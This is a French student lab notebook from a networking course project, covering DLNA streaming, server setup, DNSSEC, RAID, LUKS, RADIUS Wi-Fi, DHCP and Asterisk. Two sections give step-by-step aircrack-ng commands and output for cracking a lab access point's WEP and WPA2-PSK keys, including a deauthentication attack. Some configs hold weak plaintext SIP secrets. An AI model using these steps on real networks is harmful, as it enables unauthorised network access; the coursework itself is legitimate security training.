Cahier groupe n°9 : Différence entre versions

Version actuelle datée du 2 janvier 2016 à 09:07

Sommaire

1 Cahier des charges de la tâche particulière
- 1.1 Présentation de la tâche particulière
- 1.2 Matériel utilisé pour la tâche particulière
2 Suivi de l'avancement du TP

Cahier des charges de la tâche particulière

Présentation de la tâche particulière

Le but de la tâche est de réussir une communication entre un PC ou un Smartphone avec une télévision équipée d'une clé DLNA/Miracast. Cette tâche est relativement simple avec certains logiciels ou même nativement avec un smartphone. Seulement, il s'agit essentiellement de dossiers partagés. En règle générale, les médias se trouvent sur un support qui sert de serveur et depuis la télévision nous allons chercher le média qui nous intéresse. Notre tâche est de trouver une solution pour que depuis un ordinateur sous Debian, il soit possible de lancer un média sur la télévision.

Matériel utilisé pour la tâche particulière

A l'origine, le matériel utilisé était une simple clé DLNA qui doit être banchée sur la télévision via un port HDMI. Après avoir réalisé quelques recherches sur cette clé, nous avons rencontré un problème. Il y avait un manque cruel de configuration de celle-ci et peu de documentation. De plus, après un essai avec un smartphone, la communication était très mauvaise et une vidéo n'était pas du tout fluide. Nous avons donc souhaité utilisé un Raspberry Pi qui permet de réaliser une configuration plus complète.

Suivi de l'avancement du TP

Semaine 1 - Prise en main

Tout d'abord, nous découvrons le matériel à notre disposition et réalisons une recherche documentaire sur celui-ci et sur le protocole DLNA. Le protocole DLNA (Digital Living Network Alliance) différencie tous les appareils en fonction de leur fonction. Nous pouvons trouver :

Digital Media Server (DMS) : Ces appareils fournissent les contenus numériques et leur liste aux players (DMP) et aux renderers (DMR) (ex: un PC, un NAS)
Digital Media Player (DMP) : Ces appareils peuvent trouver des contenus numériques sur le réseau (depuis les serveurs DMS), les lister et les jouer (ex: télévision compatible DLNA, système Home Cinema ou consoles de jeux)
Digital Media Renderer (DMR) : Ces appareils décodent et jouent des contenus numériques envoyés par des contrôleurs (DMC) (ex: télévision compatible DLNA, haut-parleur contrôlable à distance (remote speaker)…)
Digital Media Controller (DMC) : Ces appareils permettent de parcourir les contenus proposés par les serveurs (DMS) et de les faire jouer par les renderers (ex : application mobile de télécommande pour smartphone).

Donc le PC sous Debian doit donc être un DMS et servir de serveur afin de fournir le média à diffuser et l'ensemble télévision + clé DLNA joue le rôle de DMR.

Nous avons également pris en main l'eeePC et fait sa configuration réseau.

Semaine 2 - Test de la clé DLNA

Après avoir compris le fonctionnement global du protocole DLNA, nous avons cherché à faire fonctionner la clé DLNA de la marque Meeboss.

Pour cela, nous devions avoir un réseau local Wifi. Nous avons donc commencé par configurer une borne Wifi. A la suite de cela, nous avons connecté un smartphone et la clé DLNA à ce réseau Wifi. Grâce à l'option "Share" ou "Throw" nous avons réussi à lancer un média. Nous savions également que le lecteur de média de Windows permet d'utiliser ce protocole. Nous avons donc réalisé un nouveau test avec une vidéo. La communication et le partage se fait mais avec une très mauvaise qualité ...

Nous avons donc tenté de faire une mise a jour de l'OS de la clé DLNA mais la qualité était la même. De plus, la page de configuration était toujours aussi peu fournie.

Nous tentons maintenant d'installer un serveur DLNA sur l'eeePC

Semaine 3 - Création des machines virtuelles et suite du DLNA

DLNA (suite)

Nous avons tenté un certains nombres de logiciels (MiniDLNA, uShare, PS3 Media Server, Serviio ...) qui permettent à l'eeePC d'être un serveur. Aucun de ces logiciels ne permet de diffuser sur le Renderer. Nous avons juste la possibilité d'accéder aux dossiers du serveur et donc nous nous retrouvons dans l'utilisation classique du DLNA qui consiste à choisir sur la télévision le média.

Création de la machine virtuelle

Dans un premier temps, nous nous connectons en ssh sur le serveur Cordouan afin de créer notre machine virtuelle Xen. Voici la commande qui permet sa création :

    xen-create-image --hostname=levrette --ip=193.48.57.169 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd

On retrouve alors notre configuration réseau :

    ip : 193.48.57.169
    netmask : 255.255.255.240
    gateway : 193.48.57.174

Nous pouvons visualiser le déroulement de l'installation en direct en visualisant les logs via la commande :

    tail -f /var/log/xen-tools/levrette.log

Une fois créée, nous la démarrons et faisons l'installation des paquets qui seront nécessaire au projet :

démarrage vm en mode console

    xl console levrette

installation des paquets SSH, apache2 et bind9

De plus, nous avons été sur Gandi afin de commander un nom de domaine et un certificat SSL.

Commande pour démarrer la VM lorsqu'elle est totalement éteinte :

    xl create -c /etc/xen/levrette.cfg

Modifications pour un meilleur fonctionnement de la VM :

modification du fichier de configuration : ajout du bridge=IMA5sc et taille mémoire à 512

Enfin, nous créons la clé en .csr qui sera fourni à Gandi afin de configurer le serveur Apache avec notre nom de domaine :

création des clés avec OpenSSL:

      openssl req -nodes -newkey rsa:2048 -sha256 -keyout levrette.key -out levrette.csr

Gandi le signe et nous renvoie un .crt que l'on fournira au serveur Apache.

Semaine 4 - VM(suite) et connection WIFI

Nous créons alors deux partitions LVS via ces commandes :

    lvcreate -L 10G -n /dev/virtual/ima5-levrette-home -v
    lvcreate -L 10G -n /dev/virtual/ima5-levrette-var -v

Puis nous les ajoutons à notre VM en modifiant le fichier de configuration :

    disk        = [
                 'file:/usr/local/xen/domains/levrette/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/levrette/swap.img,xvda1,w',
                 'phy:/dev/virtual/ima5-levrette-home,xvdc,w',
                 'phy:/dev/virtual/ima5-levrette-var,xvdb,w',
             ]

Enfin, nous réalisons la connexion Wifi sur les deux bornes Wifi :

    - Connexion sur troubadour:
         ajout de l'adresse mac sur la borne Cisco
         ajout des paramètres dans etc/network/interfaces

    - Connexion sur baguette:
         changement dans ifconfig du ssid
         ifconfig wlan0 hw ether 00:15:af:e7:19:f3

Semaine 5 - Configuration d'Apache et DNS

Apache

Dans un premier temps, nous activons le module SSL dans le serveur Apache pour notre certificat SSL :

Activation module SSL pour Apache

     a2enmod ssl

On lui spécifie sur quel port il doit écouter :

Ecoute sur le port 443

    <IfModule ssl_module>
       Listen 443
       NameVirtualHost 193.48.57.169:443
    </IfModule>

Enfin on configure correctement le serveur en ajoutant un VirtualHost sans oublier le fichier du certificat SSL que Gandi nous a renvoyé :

    NameVirtualHost *:443
         <VirtualHost *:443>
              ServerName bonne.levrette.lol
              ServerAlias levrette.lol
              DocumentRoot /var/www/levrette/
              CustomLog /var/log/apache2/secure_access.log combined
              
              SSLEngine on
              SSLCertificateFile /etc/ssl/certs/levrette.crt
              SSLCertificateKeyFile /etc/ssl/private/levrette.key
              SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
              SSLVerifyClient None
         </VirtualHost>

On peut vérifier que le certificat est valide dans la barre d'adresse et que celui-ci est valide 1 an.

DNS

Nous allons maintenant mettre en place le DNS.

fichier de zone dans : /etc/bind/levrette.lol

    $TTL	604800
    @	IN      SOA     ns.levrette.lol. root.levrette.lol. (
                   2015102211         ; Serial
                        86400         ; Refresh
                         3600         ; Retry
                      2419200         ; Expire
                        86400 )       ; Negative Cache TTL

    @       IN      NS      ns.levrette.lol.
    @       IN      NS      ns6.gandi.net.
    ns      IN      A       193.48.57.169
    www     IN      A       193.48.57.169
    bonne     IN      A       193.48.57.169
    @       IN      A       193.48.57.169
    ns      IN      AAAA    2001:660:4401:60bb:216:3eff:fe26:724d
    www     IN      AAAA    2001:660:4401:60bb:216:3eff:fe26:724d
    bonne     IN      AAAA    2001:660:4401:60bb:216:3eff:fe26:724d
    @       IN      AAAA    2001:660:4401:60bb:216:3eff:fe26:724d

fichier de zone inverse : /ect/bind/57.48.193.in-addr.arpa

    $TTL    604800

    @       IN       SOA     ns.levrett/etc/bind/levrette.lole.lol. root.levrette.lol.     (
           2015102001       ;serial
           14400            ;refresh
           3600             ;retry
           604800           ;expire
           10800            ;minimum
    )

    57.48.193.in-addr.arpa.                IN      NS      ns.levrette.lol.
    57.48.193.in-addr.arpa.                IN      NS      ns6.gandi.net.

    169               IN      PTR     levrette.lol.

utilisation de ces zones dans le fichier principal :

    zone "levrette.lol" IN {
            # Zone de type maître
            type master;
 
            # Fichier de zone
            file "/etc/bind/levrette.lol/db.levrette.lol";
    };
 
    zone "57.48.193.in-addr.arpa" IN {
           type master;
           file "/etc/bind/57.48.193.in-addr.arpa";
           allow-transfer { 217.70.177.40; };
    };

Désormais le DNS est en place mais nous allons le sécuriser avec DNSSEC. Pour cela il faut créer deux clés ZSK et KSK, les inclure dans la configuration, les fournir à Gandi, signer la zone et enfin remplacer le fichier original par le fichier signé :

génération des clés ZSK et KSK:

    dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE levrette.lol
    dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE levrette.lol

on déplace les clés dans le dossier : /etc/bind/levrette.lol.dnssec/

    -rw-r--r-- 1 root bind  169 Oct 22 18:44 dsset-levrette.lol.
    -rw-r--r-- 1 root root  607 Oct 22 17:20 levrette-ksk.key
    -rw------- 1 root root 1774 Oct 22 17:20 levrette-ksk.private
    -rw-r--r-- 1 root root  433 Oct 22 17:21 levrette-zsk.key
    -rw------- 1 root root 1010 Oct 22 17:21 levrette-zsk.private

ajout des clés dans le fichier : /etc/bind/levrette.lol

    $include /etc/bind/levrette.lol.dnssec/levrette-ksk.key
    $include /etc/bind/levrette.lol.dnssec/levrette-zsk.key

On fournit les clé à Gandi
signature de la zone

    dnssec-signzone -o levrette.lol -k levrette-ksk ../db.levrette.lol levrette-zsk

modification dans le fichier named.conf.local, on renomme le fichier : db.levrette.lol en : db.levrette.lol.signed

Semaine 6 DLNA

Nous abandonnons l'utilisation de la clé DLNA pour un raspberry Pi. Nous installons Kodi dessus. Il s'agit d'un serveur multimédia qui est capable de faire du DLNA et a l'avantage d'être configurable. Nous avons donc de nouveau tenté de réaliser une communication avec l'eeePC sans succès, nous avons également tenté avec VLC puisque Kodi permet une communication HTTP mais sans succès également.

Nous avons donc retenter avec le lecteur Windows qui fonctionne parfaitement, tout comme l'application android : "BubbleUPnp" qui utilise uniquement le protocole DLNA. De plus, nous obtenons une excellente qualité de diffusion pour la vidéo même pour du 1080p.

Semaine 7

5.2 Cassage de clef WEP d'un point d'accès Wifi

Voici la liste des commandes réalisées afin de réaliser cette tâche :

airmon-ng start wlan0
airodump-ng --encrypt wep wlan0

    00:23:5E:1E:05:48  -46       30        0    0   7  54e. WEP  WEP         cracotte09

airodump-ng -w out -c 7 --bssid 00:23:5E:1E:05:48 mon0
aircrack-ng out-04.cap

                                          Aircrack-ng 1.2 beta3


                          [00:00:00] Tested 851 keys (got 65535 IVs)

  KB    depth   byte(vote)
   0    0/  9   55(79616) 77(75520) 95(75264) 09(74752) 8C(74240) F3(73728) 17(73472)
   1    0/  1   2E(95232) CF(76800) 6E(76032) D0(75776) FE(75776) 2B(74752) F4(73984)
   2    0/  1   55(92672) 4F(80896) CE(79104) B2(75776) A4(75520) 7C(74496) CD(73984)
   3    9/  3   F7(73472) 34(72960) 3B(72960) 6A(72960) 07(72192) 27(72192) 43(72192)
   4    0/  4   A9(89088) 4C(75264) 7F(75264) 06(74240) 65(73728) 68(73472) 9E(73472)

            KEY FOUND! [ 55:55:55:55:55:55:55:55:51:11:11:11:11 ]
       Decrypted correctly: 100%

On peut donc très clairement lire que la clé a été trouvée et est : 55:55:55:55:55:55:55:55:51:11:11:11:11

6.1 Sécurisation de données

créations des trois partitions LVM de 1Go :

    lvcreate -L 1G -n /dev/virtual/ima5-levrette-raidA -v
    lvcreate -L 1G -n /dev/virtual/ima5-levrette-raidB -v
    lvcreate -L 1G -n /dev/virtual/ima5-levrette-raidC -v

ajout des partitions dans le fichier de configuration :

    disk        = [
                 'file:/usr/local/xen/domains/levrette/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/levrette/swap.img,xvda1,w',
                 'phy:/dev/virtual/ima5-levrette-home,xvdc,w',
                 'phy:/dev/virtual/ima5-levrette-var,xvdb,w',
                 'phy:/dev/virtual/ima5-levrette-raidA,xvdd,w',
                 'phy:/dev/virtual/ima5-levrette-raidB,xvde,w',
                 'phy:/dev/virtual/ima5-levrette-raidC,xvdf,w',
             ]

création du raid5 logiciel :

    mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf

on s'arrange pour que le système charge le volume à chaque démarrage :

    mdadm --monitor --daemonise /dev/md0

grâce à un fdisk -l on retrouve le volume md0 qui vient d'être créer :

    Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 524288 bytes / 1048576 bytes

on vérifie que l'on a bien créer notre raid5 avec la commande :

    mdadm --detail /dev/md0

on obtient :

    /dev/md0:
            Version : 1.2
      Creation Time : Mon Nov  9 16:08:23 2015
         Raid Level : raid5
         Array Size : 2095104 (2046.34 MiB 2145.39 MB)
      Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)
       Raid Devices : 3
      Total Devices : 3
        Persistence : Superblock is persistent

        Update Time : Mon Nov  9 16:08:23 2015
              State : clean 
     Active Devices : 3
    Working Devices : 3
     Failed Devices : 0
      Spare Devices : 0

             Layout : left-symmetric
         Chunk Size : 512K

               Name : levrette:0  (local to host levrette)
               UUID : 0b73ee6c:7e92c6a4:3d5187c4:2ed0f75f
             Events : 0

        Number   Major   Minor   RaidDevice State
           0     202       48        0      active sync   /dev/xvdd
           1     202       64        1      active sync   /dev/xvde
           2     202       80        2      active sync   /dev/xvdf

on remarque que l'on a bien un raid 5, que trois volumes sont actifs et qu'il s'agit bien de nos trois partitions LVM xvdd, xvde, xvdf.

Après un reboot, on remarque que la VM a un problème avec le montage de md0. On remarque maintenant que le volume que l'on avait appelé md0 s'appelle maintenant md127. Afin de régler le problème au démarrage, au lieu de préciser le chemin, on précise UUID dans /etc/fstab :

    UUID=bfc0b53b-d73a-495c-9fdc-a786a1804c5e /media/raid ext4 defaults 0 1

Test du raid lorsque l'on ôte un disque :

on remarque que la VM démarre en mode urgence. Si on examine l'état du raid, on obtient :

    /dev/md127:
            Version : 1.2
         Raid Level : raid0
      Total Devices : 2
        Persistence : Superblock is persistent

              State : inactive

               Name : levrette:0  (local to host levrette)
               UUID : 0f3cbea1:27331f6c:ce16f3cd:404f5595
             Events : 2

        Number   Major   Minor   RaidDevice

           -     202       48        -        /dev/xvdd
           -     202       64        -        /dev/xvde

Grâce à cette commande (cat /proc/mdstat), il est également possible de voir que notre raid n'est pas fonctionnel mais il est juste inactif :

    Personalities : 
    md127 : inactive xvdd[0](S) xvde[1](S)
          2095104 blocks super 1.2
      
    unused devices: <none>

On remonte le disque, puis on redémarre la VM. On se rend compte que le raid redémarre et est actif. Tout va bien.

6.2 Cryptage de données

Création du cryptage de la carte mémoire

    cryptsetup luksFormat -c aes -h sha256 /dev/sda1

On peut vérifier qu'une clef existe bien a l'aide de la commande

    cryptsetup luksDump /dev/sda1

Montage :

    cryptsetup luksOpen /dev/sda1 levrette

Formatage pour la première utilisation :

    mkfs.ext3 /dev/mapper/levrette
         mke2fs 1.42.12 (29-Aug-2014)
         En train de créer un système de fichiers avec 3971328 4k blocs et 993568 i-noeuds.
         UUID de système de fichiers=05607bf6-4a05-4ea9-a7e4-67f2fed01834
        Superblocs de secours stockés sur les blocs :
                 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208
    
         Allocation des tables de groupe : complété                        
         Écriture des tables d'i-noeuds : complété                        
         Création du journal (32768 blocs) : complété
         Écriture des superblocs et de l'information de comptabilité du système de
         fichiers : complété

Montage de la partition :

    mount -t ext3 /dev/mapper/levrette /mnt/

Il suffit ensuite de mettre ce que l'on souhaite sur la carte et ensuite de la démonter a l'aide des commandes suivantes :

    umount /mnt
    cryptsetup luksClose levrette

Semaine 8

Cassage de mot de passe WPA-PSK par force brute

Voici la liste des commandes nécessaires pour cette tâche :

airodump-ng --encrypt wpa wlan0

    04:DA:D2:9C:50:58  -49       33        0    0  12  54e. WPA2 CCMP   PSK  cracotte09

airmon-ng

airodump-ng -w psk -c 12 --bssid 04:DA:D2:9C:50:58 wlan0

    CH 12 ][ Elapsed: 42 s ][ 2015-11-19 11:47 ][ WPA handshake: 04:DA:D2:9C:50:58                    
                                                                                                  
    BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                  
    04:DA:D2:9C:50:58  -61  13      348       55    0  12  54e. WPA2 CCMP   PSK  cracotte09           
                                                                                                  
    BSSID              STATION            PWR   Rate    Lost    Frames  Probe                         
                                                                                                  
    04:DA:D2:9C:50:58  24:77:03:24:8E:30  -67   54e- 1e     0       42

aireplay-ng -0 1 -a 04:DA:D2:9C:50:58 -c 24:77:03:24:8E:30 wlan0

    11:58:39  Waiting for beacon frame (BSSID: 04:DA:D2:9C:50:58) on channel 12
    11:58:39  Sending 64 directed DeAuth. STMAC: [24:77:03:24:8E:30] [ 1|59 ACKs]

aircrack-ng -w pass.lst -b 04:DA:D2:9C:50:58 /media/pifou/BLBL/psk-01.cap

                                Aircrack-ng 1.2 beta3


                  [01:00:20] 12399912 keys tested (3545.58 k/s)


                          KEY FOUND! [ 12399909 ]


     Master Key     : DE 3D 6E B8 2D DE 1A 72 C1 D5 95 CA D7 CE D5 52 
                      78 BA 44 81 64 D7 A3 4B DF 49 61 94 0D A8 DB 8A 

     Transient Key  : 11 04 88 FA 35 7F 5F 96 CE F1 42 A0 F0 A2 EB 37 
                      93 ED 5D 19 D4 4A 52 41 37 83 F5 CA 30 64 A7 E1 
                      CB 40 AD CB AE E5 37 0B C3 E3 A8 1E DA B0 FE 66 
                      2F 5B A8 1C F2 99 A1 51 7E 95 0E BB A3 3E 64 D1 

     EAPOL HMAC     : 86 A9 60 27 DF C1 BA F5 F0 52 70 DE BF A5 36 4D

On remarque de nouveau que l'on trouve la clé mais avec beaucoup plus de difficulté !

Semaine 9 - Création du WIFI

Après vérification, notre DNS n'était plus en place. Nous avons donc corrigé ce problème. En effet, le Expire a al valeur maximale recommandée par les RFC de 28 jours, et nous avions dépassé ce délai. Nous avons donc resigné les zones, pour 28 jours.

WIFI

configuration borne Wifi :

    aaa group server radius radius_levrette
         server 193.48.57.169 auth-port 1812 acct-port 1813
    
    aaa authentication login eap_levrette group radius_levrette
    
    dot11 ssid levrette
         vlan 19
         authentication open eap eap_levrette 
         authentication network-eap eap_levrette 
         authentication key-management wpa
         mbssid guest-mode
    
    interface Dot11Radio0
         no ip address
         no ip route-cache
         encryption vlan 19 mode ciphers aes-ccm tkip 
         ssid levrette
    
    interface Dot11Radio0.19
         encapsulation dot1Q 19
         no ip route-cache
         bridge-group 19
         bridge-group 19 subscriber-loop-control
         bridge-group 19 spanning-disabled
         bridge-group 19 block-unknown-source
         no bridge-group 19 source-learning
         no bridge-group 19 unicast-flooding
    
    interface GigabitEthernet0.19
         encapsulation dot1Q 19
         no ip route-cache
         bridge-group 19
         bridge-group 19 spanning-disabled
         no bridge-group 19 source-learning
     
    radius-server host 193.48.57.169 auth-port 1812 acct-port 1813 key 7 0507031933495A1D1C

Semaine 10 - DHCP et PCBX

DHCP

Connection à notre réseau wifi :

    auto wlan0
    iface wlan0 inet static
     address 172.20.19.10
     netmask 255.255.255.0
     gateway 172.20.19.254
     wpa-ssid levrette
     wpa-key-mgmt WPA-EAP
     wpa-identity nom_utilisateur
     wpa-password mot_de_passe

intallation du serveur dhcp :

    apt-get install isc-dhcp-server

configuration du serveur dhcp :

    vim /etc/dhcp/dhcpd.conf
    
    option domain-name "levrette.lol";
    option domain-name-servers ns.levrette.lol;
    
    subnet 172.20.19.0 netmask 255.255.255.0 {
         range 172.20.19.20 172.20.19.40
         option routers 172.20.19.254
    }

On remarque que le smartphone arrive à s'y connecter et obtient une adresse IP.

PCBX

Configuration :

 fichier sip.conf :

    [general]
    hasvoicemail = yes
    hassip = yes
    hasiax = yes
    callwaiting = yes
    threewaycalling = yes
    callwaitingcallerid = yes
    transfer = yes
    canpark = yes
    cancallforward = yes
    callreturn = yes
    callgroup = 1
    pickupgroup = 1
    nat = yes
 
    [6001]
    type=peer
    host=dynamic
    dtmfmode=rfc2833
    disallow=all
    allow=ulaw
    fullname = brunette
    username = brunette
    secret=bonne
    context = work
 
    [6002]
    type=peer
    host=dynamic
    dtmfmode=rfc2833
    disallow=all
    allow=ulaw
    fullname = blondinette
    username = blondinette
    secret=bonne
    context = work
 
 fichier extensions.conf :

    [work]
    exten => _6XXX,1,Dial(SIP/${EXTEN},20)
    exten => _6XXX,2,Hangup()

On remarque enfin que l'on arrive à appeler la tablette via le smartphone et inversement.